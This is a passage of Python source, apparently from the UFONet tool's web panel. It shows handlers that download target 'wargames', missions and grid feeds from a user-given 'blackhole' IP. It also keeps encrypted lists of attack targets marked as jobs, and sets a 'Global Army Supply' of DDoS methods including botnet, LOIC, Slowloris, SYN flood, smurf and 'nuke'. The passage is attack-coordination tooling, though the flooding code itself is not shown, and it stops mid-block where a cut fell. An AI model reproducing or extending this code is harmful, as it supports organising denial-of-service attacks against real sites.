  2520. open('/tmp/out', 'w').close()
  2521. with open('/tmp/out', 'r') as f:
  2522. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2523. if page == "/cmd_sync_wargames":
  2524. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2525. blackhole_ip = pGet["wargames_source"]
  2526. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2527. try:
  2528. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  2529. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2530. f.write(str(wargames))
  2531. f.close()
  2532. self.wargames_text = wargames
  2533. except:
  2534. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2535. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2536. f = open("/tmp/out", "w")
  2537. f.write(str(wargames))
  2538. f.write(end_mark)
  2539. f.close()
  2540. if page == "/cmd_sync_wargames_update":
  2541. if not os.path.exists('/tmp/out'):
  2542. open('/tmp/out', 'w').close()
  2543. with open('/tmp/out', 'r') as f:
  2544. stream = f.read()
  2545. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2546. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2547. if page == "/cmd_refresh_missions":
  2548. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2549. blackhole_ip = pGet["missions_source"]
  2550. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2551. try:
  2552. missions = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read()
  2553. f = open(self.missions, "w") # write updates to missions.txt
  2554. f.write(str(missions))
  2555. f.close()
  2556. self.missions_text = missions
  2557. except:
  2558. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2559. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  2560. f = open("/tmp/out", "w")
  2561. f.write(str(missions))
  2562. f.write(end_mark)
  2563. f.close()
  2564. if page == "/cmd_refresh_missions_update":
  2565. if not os.path.exists('/tmp/out'):
  2566. open('/tmp/out', 'w').close()
  2567. with open('/tmp/out', 'r') as f:
  2568. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  2569. if page == "/cmd_sync_grid":
  2570. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2571. blackhole_ip = pGet["grid_source"]
  2572. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2573. try:
  2574. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  2575. f = open(self.grid_file, "w") # write updates to grid.txt
  2576. f.write(str(grid))
  2577. f.close()
  2578. self.grid_text = grid
  2579. except:
  2580. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2581. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2582. f = open("/tmp/out", "w")
  2583. f.write(str(grid))
  2584. f.write(end_mark)
  2585. f.close()
  2586. if page == "/cmd_sync_grid_update":
  2587. if not os.path.exists('/tmp/out'):
  2588. open('/tmp/out', 'w').close()
  2589. with open('/tmp/out', 'r') as f:
  2590. stream = f.read()
  2591. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2592. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  2593. if page == "/cmd_job_remove":
  2594. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  2595. try:
  2596. job_id = pGet["id"]
  2597. except:
  2598. job_id = ""
  2599. if job_id is not "":
  2600. self.list_wargames.reverse()
  2601. try:
  2602. job_task = self.list_wargames[(int(job_id)-1)]
  2603. f = open(self.wargames_file,"r")
  2604. ls = f.readlines()
  2605. f.close()
  2606. f = open(self.wargames_file,"w")
  2607. for l in ls:
  2608. if str(l) != str(job_task):
  2609. f.write(l)
  2610. f.close()
  2611. except:
  2612. pass
  2613. if page == "/cmd_job_remove_update":
  2614. if not os.path.exists('/tmp/out'):
  2615. open('/tmp/out', 'w').close()
  2616. with open('/tmp/out', 'r') as f:
  2617. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  2618. if page == "/cmd_job_remove_all":
  2619. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  2620. try:
  2621. key_params = pGet["key"]
  2622. sep = ","
  2623. key = key_params.rsplit(sep, 1)[0]
  2624. except:
  2625. key = ""
  2626. if key is not "":
  2627. try:
  2628. self.list_wargames.reverse()
  2629. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2630. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2631. f = open(self.wargames_file,"r")
  2632. ls = f.readlines()
  2633. f.close()
  2634. f = open(self.wargames_file,"w")
  2635. sep = "#-#"
  2636. for l in ls:
  2637. job_estimated = l.rsplit(sep, 1)[1]
  2638. self.decrypt(key, job_estimated)
  2639. if self.decryptedtext:
  2640. job_estimated = self.decryptedtext
  2641. else:
  2642. job_estimated = now
  2643. self.decryptedtext = ""
  2644. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  2645. if (now >= job_estimated) == False: # -ONGOING-
  2646. f.write(l)
  2647. f.close()
  2648. except:
  2649. pass
  2650. if page == "/cmd_job_remove_all_update":
  2651. if not os.path.exists('/tmp/out'):
  2652. open('/tmp/out', 'w').close()
  2653. with open('/tmp/out', 'r') as f:
  2654. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  2655. if page == "/cmd_edit_supply":
  2656. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  2657. try:
  2658. supply_botnet = pGet["botnet"]
  2659. supply_loic = pGet["loic"]
  2660. supply_loris = pGet["loris"]
  2661. supply_ufosyn = pGet["ufosyn"]
  2662. supply_spray = pGet["spray"]
  2663. supply_smurf = pGet["smurf"]
  2664. supply_xmas = pGet["xmas"]
  2665. supply_nuke = pGet["nuke"]
  2666. except: # default global supply army
  2667. supply_botnet = 1
  2668. supply_loic = 0
  2669. supply_loris = 0
  2670. supply_ufosyn = 0
  2671. supply_spray = 0
  2672. supply_smurf = 0
  2673. supply_xmas = 0
  2674. supply_nuke = 0
  2675. with open(self.mothership_supplycfg_file, "w") as f:
  2676. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke}, f, indent=4)
  2677. if page == "/cmd_job_add":
  2678. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  2679. try:
  2680. job_params = pGet["id"]
  2681. sep = ","
  2682. job_id = job_params.rsplit(sep, 1)[0]
  2683. except:
  2684. job_id = ""
  2685. if job_id is not "":
  2686. self.list_wargames.reverse()
  2687. try:
  2688. job_task = self.list_wargames[(int(job_id)-1)]
  2689. f = open(self.wargames_file,"r")
  2690. ls = f.readlines()
  2691. f.close()
  2692. f = open(self.wargames_file,"w")
  2693. sep = "#-#"
  2694. for l in ls:
  2695. if str(l) != str(job_task):
  2696. f.write(l)
  2697. else:
  2698. job_t2 = job_task.rsplit(sep, 1)[0]
  2699. job_creation = job_t2.rsplit(sep, 1)[0]
  2700. job_target = job_t2.rsplit(sep, 1)[1]
  2701. job_estimated = job_task.rsplit(sep, 1)[1]
  2702. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  2703. f.write(l)
  2704. f.close()
  2705. except:
  2706. pass
  2707. if page == "/cmd_job_add_update":
  2708. if not os.path.exists('/tmp/out'):
  2709. open('/tmp/out', 'w').close()
  2710. with open('/tmp/out', 'r') as f:
  2711. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  2712. if page == "/cmd_job_add_all":
  2713. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  2714. try:
  2715. self.list_wargames.reverse()
  2716. f = open(self.wargames_file,"r")
  2717. ls = f.readlines()
  2718. f.close()
  2719. f = open(self.wargames_file,"w")
  2720. sep = "#-#"
  2721. for l in ls:
  2722. job_t2 = l.rsplit(sep, 1)[0]
  2723. job_creation = job_t2.rsplit(sep, 1)[0]
  2724. job_target = job_t2.rsplit(sep, 1)[1]
  2725. job_estimated = l.rsplit(sep, 1)[1]
  2726. if not "!!!" in job_target:
  2727. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
  2728. else:
  2729. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2730. f.write(l)
  2731. f.close()
  2732. except:
  2733. pass
  2734. if page == "/cmd_job_add_all_update":
  2735. if not os.path.exists('/tmp/out'):
  2736. open('/tmp/out', 'w').close()
  2737. with open('/tmp/out', 'r') as f:
  2738. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  2739. if page == "/cmd_job_cancel":
  2740. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  2741. try:
  2742. job_params = pGet["id"]
  2743. sep = ","
  2744. job_id = job_params.rsplit(sep, 1)[0]
  2745. except:
  2746. job_id = ""
  2747. if job_id is not "":
  2748. self.list_wargames.reverse()
  2749. try:
  2750. job_task = self.list_wargames[(int(job_id)-1)]
  2751. f = open(self.wargames_file,"r")
  2752. ls = f.readlines()
  2753. f.close()
  2754. f = open(self.wargames_file,"w")
  2755. for l in ls:
  2756. if str(l) != str(job_task):
  2757. f.write(l)
  2758. else:
  2759. sep = "#-#"
  2760. job_t2 = job_task.rsplit(sep, 1)[0]
  2761. job_creation = job_t2.rsplit(sep, 1)[0]
  2762. job_target = job_t2.rsplit(sep, 1)[1]
  2763. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  2764. job_estimated = job_task.rsplit(sep, 1)[1]
  2765. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2766. f.write(l)
  2767. f.close()
  2768. except:
  2769. pass
  2770. if page == "/cmd_job_cancel_update":
  2771. if not os.path.exists('/tmp/out'):
  2772. open('/tmp/out', 'w').close()
  2773. with open('/tmp/out', 'r') as f:
  2774. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  2775. if page == "/cmd_job_cancel_all":
  2776. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  2777. try:
  2778. self.list_wargames.reverse()
  2779. f = open(self.wargames_file,"r")
  2780. ls = f.readlines()
  2781. f.close()
  2782. f = open(self.wargames_file,"w")
  2783. sep = "#-#"
  2784. for l in ls:
  2785. job_t2 = l.rsplit(sep, 1)[0]
  2786. job_creation = job_t2.rsplit(sep, 1)[0]
  2787. job_target = job_t2.rsplit(sep, 1)[1]
  2788. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  2789. job_estimated = l.rsplit(sep, 1)[1]
  2790. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2791. f.write(l)
  2792. f.close()
  2793. except:
  2794. pass
  2795. if page == "/cmd_job_cancel_all_update":
  2796. if not os.path.exists('/tmp/out'):
  2797. open('/tmp/out', 'w').close()
  2798. with open('/tmp/out', 'r') as f:
  2799. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  2800. if page == "/cmd_job_filter":
  2801. try:
  2802. job_filter = pGet["filter"]
  2803. job_key = pGet["key"]
  2804. except:
  2805. job_filter = "creation"
  2806. job_key = str(self.crypto_key)
  2807. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  2808. nodec_text = "KEY?"
  2809. try:
  2810. wargames_items=[]
  2811. f = open(self.wargames_file,"r")
  2812. ls = f.readlines()
  2813. f.close()
  2814. f = open(self.wargames_file,"w")
  2815. for j in ls:
  2816. if wargames_msg_sep in j:
  2817. m = j.split(wargames_msg_sep)
  2818. wargames_creation = m[0] # creation date
  2819. self.decrypt(job_key, wargames_creation)
  2820. if self.decryptedtext:
  2821. wargames_creation = self.decryptedtext
  2822. else:
  2823. wargames_creation = nodec_text
  2824. self.decryptedtext = "" # clean decryptedtext buffer
  2825. wargames_target = m[1] # target
  2826. self.decrypt(job_key, wargames_target)
  2827. if self.decryptedtext:
  2828. wargames_target = self.decryptedtext
  2829. if wargames_target.startswith("www."):
  2830. wargames_target = wargames_target.replace("www.","")
  2831. else:
  2832. wargames_target = nodec_text
  2833. self.decryptedtext = "" # clean decryptedtext buffer
  2834. wargames_estimated = m[2] # estimated date
  2835. self.decrypt(job_key, wargames_estimated)
  2836. if self.decryptedtext:
  2837. wargames_estimated = self.decryptedtext
  2838. else:
  2839. wargames_estimated = nodec_text
  2840. self.decryptedtext = "" # clean decryptedtext buffer
  2841. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  2842. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  2843. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  2844. if job_filter == "creation":
  2845. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  2846. elif job_filter == "target":
  2847. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  2848. elif job_filter == "estimated":
  2849. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  2850. else:
  2851. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  2852. for i in wargames_items:
  2853. wargames_creation = i[0]
  2854. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  2855. self.encrypt(job_key, wargames_creation)
  2856. if self.encryptedtext:
  2857. wargames_creation = self.encryptedtext
  2858. self.encryptedtext = "" # clean encryptedtext buffer
  2859. wargames_target = str(i[1])
  2860. self.encrypt(job_key, wargames_target)
  2861. if self.encryptedtext:
  2862. wargames_target = self.encryptedtext
  2863. self.encryptedtext = "" # clean encryptedtext buffer
  2864. wargames_estimated = i[2]
  2865. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  2866. self.encrypt(job_key, wargames_estimated)
  2867. if self.encryptedtext:
  2868. wargames_estimated = self.encryptedtext
  2869. self.encryptedtext = "" # clean encryptedtext buffer
  2870. l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
  2871. f.write(l + os.linesep)
  2872. f.close()
  2873. except:
  2874. pass
  2875. if page == "/cmd_job_filter_update":
  2876. if not os.path.exists('/tmp/out'):
  2877. open('/tmp/out', 'w').close()
  2878. with open('/tmp/out', 'r') as f:
  2879. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  2880. if page == "/cmd_grid_filter":
  2881. try:
  2882. grid_filter = pGet["filter"]
  2883. grid_key = pGet["key"]
  2884. except:
  2885. grid_filter = "missions" # default grid order by
  2886. grid_key = str(self.crypto_key)
  2887. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  2888. nodec_text = "KEY?"
  2889. nodec_num = 0
  2890. try:
  2891. grid_items=[]
  2892. f = open(self.grid_file,"r")
  2893. ls = f.readlines()
  2894. f.close()
  2895. f = open(self.grid_file,"w")
  2896. for j in ls:
  2897. if grid_msg_sep in j:
  2898. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  2899. m = j.split(grid_msg_sep)
  2900. grid_nickname = m[0] # nickname
  2901. self.decrypt(grid_key, grid_nickname)
  2902. if self.decryptedtext:
  2903. grid_nickname = str(self.decryptedtext)
  2904. else:
  2905. grid_nickname = nodec_text
  2906. self.decryptedtext = "" # clean decryptedtext buffer
  2907. grid_ranking = m[1] # ranking
  2908. self.decrypt(grid_key, grid_ranking)
  2909. if self.decryptedtext:
  2910. try:
  2911. grid_ranking = int(self.decryptedtext)
  2912. except:
  2913. grid_ranking = nodec_num
  2914. else:
  2915. grid_ranking = nodec_num
  2916. self.decryptedtext = "" # clean decryptedtext buffer
  2917. grid_totalchargo = m[2] # total chargo
  2918. self.decrypt(grid_key, grid_totalchargo)
  2919. if self.decryptedtext:
  2920. try:
  2921. grid_totalchargo = int(self.decryptedtext)
  2922. except:
  2923. grid_totalchargo = nodec_num
  2924. else:
  2925. grid_totalchargo = nodec_num
  2926. self.decryptedtext = "" # clean decryptedtext buffer
  2927. grid_dorking = m[3] # dorking
  2928. self.decrypt(grid_key, grid_dorking)
  2929. if self.decryptedtext:
  2930. try:
  2931. grid_dorking = int(self.decryptedtext)
  2932. except:
  2933. grid_dorking = nodec_num
  2934. else:
  2935. grid_dorking = nodec_num
  2936. self.decryptedtext = "" # clean decryptedtext buffer
  2937. grid_transferred = m[4] # transferred
  2938. self.decrypt(grid_key, grid_transferred)
  2939. if self.decryptedtext:
  2940. try:
  2941. grid_transferred = int(self.decryptedtext)
  2942. except:
  2943. grid_transferred = nodec_num
  2944. else:
  2945. grid_transferred = nodec_num
  2946. self.decryptedtext = "" # clean decryptedtext buffer
  2947. grid_maxchargo = m[5] # maxchargo
  2948. self.decrypt(grid_key, grid_maxchargo)
  2949. if self.decryptedtext:
  2950. try:
  2951. grid_maxchargo = int(self.decryptedtext)
  2952. except:
  2953. grid_maxchargo = nodec_num
  2954. else:
  2955. grid_maxchargo = nodec_num
  2956. self.decryptedtext = "" # clean decryptedtext buffer
  2957. grid_missions = m[6] # missions
  2958. self.decrypt(grid_key, grid_missions)
  2959. if self.decryptedtext:
  2960. try:
  2961. grid_missions = int(self.decryptedtext)
  2962. except:
  2963. grid_missions = nodec_num
  2964. else:
  2965. grid_missions = nodec_num
  2966. self.decryptedtext = "" # clean decryptedtext buffer
  2967. grid_attacks = m[7] # attacks
  2968. self.decrypt(grid_key, grid_attacks)
  2969. if self.decryptedtext:
  2970. try:
  2971. grid_attacks = int(self.decryptedtext)
  2972. except:
  2973. grid_attacks = nodec_num
  2974. else:
  2975. grid_attacks = nodec_num
  2976. self.decryptedtext = "" # clean decryptedtext buffer
  2977. grid_loic = m[8] # loic
  2978. self.decrypt(grid_key, grid_loic)
  2979. if self.decryptedtext:
  2980. try:
  2981. grid_loic = int(self.decryptedtext)
  2982. except:
  2983. grid_loic = nodec_num
  2984. else:
  2985. grid_loic = nodec_num
  2986. if version > 15: # v1.2.1
  2987. grid_loris = m[9] # loris
  2988. self.decrypt(grid_key, grid_loris)
  2989. if self.decryptedtext:
  2990. try:
  2991. grid_loris = int(self.decryptedtext)
  2992. except:
  2993. grid_loris = nodec_num
  2994. else:
  2995. grid_loris = nodec_num
  2996. self.decryptedtext = "" # clean decryptedtext buffer
  2997. grid_ufosyn = m[10] # ufosyn
  2998. self.decrypt(grid_key, grid_ufosyn)
  2999. if self.decryptedtext:
  3000. try:
  3001. grid_ufosyn = int(self.decryptedtext)
  3002. except:
  3003. grid_ufosyn = nodec_num
  3004. else:
  3005. grid_ufosyn = nodec_num
  3006. self.decryptedtext = "" # clean decryptedtext buffer
  3007. grid_spray = m[11] # spray
  3008. self.decrypt(grid_key, grid_spray)
  3009. if self.decryptedtext:
  3010. try:
  3011. grid_spray = int(self.decryptedtext)
  3012. except:
  3013. grid_spray = nodec_num
  3014. else:
  3015. grid_spray = nodec_num
  3016. self.decryptedtext = "" # clean decryptedtext buffer
  3017. grid_smurf = m[12] # smurf
  3018. self.decrypt(grid_key, grid_smurf)
  3019. if self.decryptedtext:
  3020. try:
  3021. grid_smurf = int(self.decryptedtext)
  3022. except:
  3023. grid_smurf = nodec_num
  3024. else:
  3025. grid_smurf = nodec_num
  3026. self.decryptedtext = "" # clean decryptedtext buffer
  3027. grid_xmas = m[13] # xmas
  3028. self.decrypt(grid_key, grid_xmas)
  3029. if self.decryptedtext:
  3030. try:
  3031. grid_xmas = int(self.decryptedtext)
  3032. except:
  3033. grid_xmas = nodec_num
  3034. else:
  3035. grid_xmas = nodec_num
  3036. self.decryptedtext = "" # clean decryptedtext buffer
  3037. grid_nuke = m[14] # nuke
  3038. self.decrypt(grid_key, grid_nuke)
  3039. if self.decryptedtext:
  3040. try:
  3041. grid_nuke = int(self.decryptedtext)
  3042. except:
  3043. grid_nuke = nodec_num
  3044. else:
  3045. grid_nuke = nodec_num
  3046. self.decryptedtext = "" # clean decryptedtext buffer
  3047. grid_contact = m[15] # contact
  3048. self.decrypt(grid_key, grid_contact)
  3049. if self.decryptedtext:
  3050. grid_contact = self.decryptedtext
  3051. else:
  3052. grid_contact = nodec_text
  3053. self.decryptedtext = "" # clean decryptedtext buffer
  3054. grid_id = m[16] # id
  3055. elif version == 15: # v1.2
  3056. grid_loris = m[9] # loris
  3057. self.decrypt(grid_key, grid_loris)
  3058. if self.decryptedtext:
  3059. try:
  3060. grid_loris = int(self.decryptedtext)
  3061. except:
  3062. grid_loris = nodec_num
  3063. else:
  3064. grid_loris = nodec_num
  3065. self.decryptedtext = "" # clean decryptedtext buffer
  3066. grid_ufosyn = m[10] # ufosyn
  3067. self.decrypt(grid_key, grid_ufosyn)
  3068. if self.decryptedtext:
  3069. try:
  3070. grid_ufosyn = int(self.decryptedtext)
  3071. except:
  3072. grid_ufosyn = nodec_num
  3073. else:
  3074. grid_ufosyn = nodec_num
  3075. self.decryptedtext = "" # clean decryptedtext buffer
  3076. grid_spray = m[11] # spray
  3077. self.decrypt(grid_key, grid_spray)
  3078. if self.decryptedtext:
  3079. try:
  3080. grid_spray = int(self.decryptedtext)
  3081. except:
  3082. grid_spray = nodec_num
  3083. else:
  3084. grid_spray = nodec_num
  3085. self.decryptedtext = "" # clean decryptedtext buffer
  3086. grid_smurf = m[12] # smurf
  3087. self.decrypt(grid_key, grid_smurf)
  3088. if self.decryptedtext:
  3089. try:
  3090. grid_smurf = int(self.decryptedtext)
  3091. except:
  3092. grid_smurf = nodec_num
  3093. else:
  3094. grid_smurf = nodec_num
  3095. self.decryptedtext = "" # clean decryptedtext buffer
  3096. grid_xmas = m[13] # xmas
  3097. self.decrypt(grid_key, grid_xmas)
  3098. if self.decryptedtext:
  3099. try:
  3100. grid_xmas = int(self.decryptedtext)
  3101. except:
  3102. grid_xmas = nodec_num
  3103. else:
  3104. grid_xmas = nodec_num
  3105. self.decryptedtext = "" # clean decryptedtext buffer
  3106. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3107. self.decrypt(grid_key, grid_nuke)
  3108. if self.decryptedtext:
  3109. try:
  3110. grid_nuke = int(self.decryptedtext)
  3111. except:
  3112. grid_nuke = nodec_num
  3113. else:
  3114. grid_nuke = nodec_num
  3115. self.decryptedtext = "" # clean decryptedtext buffer
  3116. grid_contact = m[14] # contact
  3117. self.decrypt(grid_key, grid_contact)
  3118. if self.decryptedtext:
  3119. grid_contact = self.decryptedtext
  3120. else:
  3121. grid_contact = nodec_text
  3122. self.decryptedtext = "" # clean decryptedtext buffer
  3123. grid_id = m[15] # id
  3124. elif version == 12: # v1.1
  3125. grid_loris = m[9] # loris
  3126. self.decrypt(grid_key, grid_loris)
  3127. if self.decryptedtext:
  3128. try:
  3129. grid_loris = int(self.decryptedtext)
  3130. except:
  3131. grid_loris = nodec_num
  3132. else:
  3133. grid_loris = nodec_num
  3134. self.decryptedtext = "" # clean decryptedtext buffer
  3135. grid_ufosyn = m[10] # ufosyn
  3136. self.decrypt(grid_key, grid_ufosyn)
  3137. if self.decryptedtext:
  3138. try:
  3139. grid_ufosyn = int(self.decryptedtext)
  3140. except:
  3141. grid_ufosyn = nodec_num
  3142. else:
  3143. grid_ufosyn = nodec_num
  3144. self.decryptedtext = "" # clean decryptedtext buffer
  3145. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3146. self.decrypt(grid_key, grid_spray)
  3147. if self.decryptedtext:
  3148. try:
  3149. grid_spray = int(self.decryptedtext)
  3150. except:
  3151. grid_spray = nodec_num
  3152. else:
  3153. grid_spray = nodec_num
  3154. self.decryptedtext = "" # clean decryptedtext buffer
  3155. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3156. self.decrypt(grid_key, grid_smurf)
  3157. if self.decryptedtext:
  3158. try:
  3159. grid_smurf = int(self.decryptedtext)
  3160. except:
  3161. grid_smurf = nodec_num
  3162. else:
  3163. grid_smurf = nodec_num
  3164. self.decryptedtext = "" # clean decryptedtext buffer
  3165. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3166. self.decrypt(grid_key, grid_xmas)
  3167. if self.decryptedtext:
  3168. try:
  3169. grid_xmas = int(self.decryptedtext)
  3170. except:
  3171. grid_xmas = nodec_num
  3172. else:
  3173. grid_xmas = nodec_num
  3174. self.decryptedtext = "" # clean decryptedtext buffer
  3175. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3176. self.decrypt(grid_key, grid_nuke)
  3177. if self.decryptedtext:
  3178. try:
  3179. grid_nuke = int(self.decryptedtext)
  3180. except:
  3181. grid_nuke = nodec_num
  3182. else:
  3183. grid_nuke = nodec_num
  3184. self.decryptedtext = "" # clean decryptedtext buffer
  3185. grid_contact = m[11] # contact
  3186. self.decrypt(grid_key, grid_contact)
  3187. if self.decryptedtext:
  3188. grid_contact = self.decryptedtext
  3189. else:
  3190. grid_contact = nodec_text
  3191. self.decryptedtext = "" # clean decryptedtext buffer
  3192. grid_id = m[12] # id
  3193. elif version == 11: # v1.0
  3194. grid_loris = m[9] # loris
  3195. self.decrypt(grid_key, grid_loris)
  3196. if self.decryptedtext:
  3197. try:
  3198. grid_loris = int(self.decryptedtext)
  3199. except:
  3200. grid_loris = nodec_num
  3201. else:
  3202. grid_loris = nodec_num
  3203. self.decryptedtext = "" # clean decryptedtext buffer
  3204. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3205. self.decrypt(grid_key, grid_ufosyn)
  3206. if self.decryptedtext:
  3207. try:
  3208. grid_ufosyn = int(self.decryptedtext)
  3209. except:
  3210. grid_ufosyn = nodec_num
  3211. else:
  3212. grid_ufosyn = nodec_num
  3213. self.decryptedtext = "" # clean decryptedtext buffer
  3214. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3215. self.decrypt(grid_key, grid_spray)
  3216. if self.decryptedtext:
  3217. try:
  3218. grid_spray = int(self.decryptedtext)
  3219. except:
  3220. grid_spray = nodec_num
  3221. else:
  3222. grid_spray = nodec_num
  3223. self.decryptedtext = "" # clean decryptedtext buffer
  3224. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3225. self.decrypt(grid_key, grid_smurf)
  3226. if self.decryptedtext:
  3227. try:
  3228. grid_smurf = int(self.decryptedtext)
  3229. except:
  3230. grid_smurf = nodec_num
  3231. else:
  3232. grid_smurf = nodec_num
  3233. self.decryptedtext = "" # clean decryptedtext buffer
  3234. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3235. self.decrypt(grid_key, grid_xmas)
  3236. if self.decryptedtext:
  3237. try:
  3238. grid_xmas = int(self.decryptedtext)
  3239. except:
  3240. grid_xmas = nodec_num
  3241. else:
  3242. grid_xmas = nodec_num
  3243. self.decryptedtext = "" # clean decryptedtext buffer
  3244. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3245. self.decrypt(grid_key, grid_nuke)
  3246. if self.decryptedtext:
  3247. try:
  3248. grid_nuke = int(self.decryptedtext)
  3249. except:
  3250. grid_nuke = nodec_num
  3251. else:
  3252. grid_nuke = nodec_num
  3253. self.decryptedtext = "" # clean decryptedtext buffer
  3254. grid_contact = m[10] # contact
  3255. self.decrypt(grid_key, grid_contact)
  3256. if self.decryptedtext:
  3257. grid_contact = self.decryptedtext
  3258. else:
  3259. grid_contact = nodec_text
  3260. self.decryptedtext = "" # clean decryptedtext buffer
  3261. grid_id = m[11] # id
  3262. elif version == 10: # v0.9
  3263. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  3264. self.decrypt(grid_key, grid_loris)
  3265. if self.decryptedtext:
  3266. try:
  3267. grid_loris = int(self.decryptedtext)
  3268. except:
  3269. grid_loris = nodec_num
  3270. else:
  3271. grid_loris = nodec_num
  3272. self.decryptedtext = "" # clean decryptedtext buffer
  3273. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3274. self.decrypt(grid_key, grid_ufosyn)
  3275. if self.decryptedtext:
  3276. try:
  3277. grid_ufosyn = int(self.decryptedtext)
  3278. except:
  3279. grid_ufosyn = nodec_num
  3280. else:
  3281. grid_ufosyn = nodec_num
  3282. self.decryptedtext = "" # clean decryptedtext buffer
  3283. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
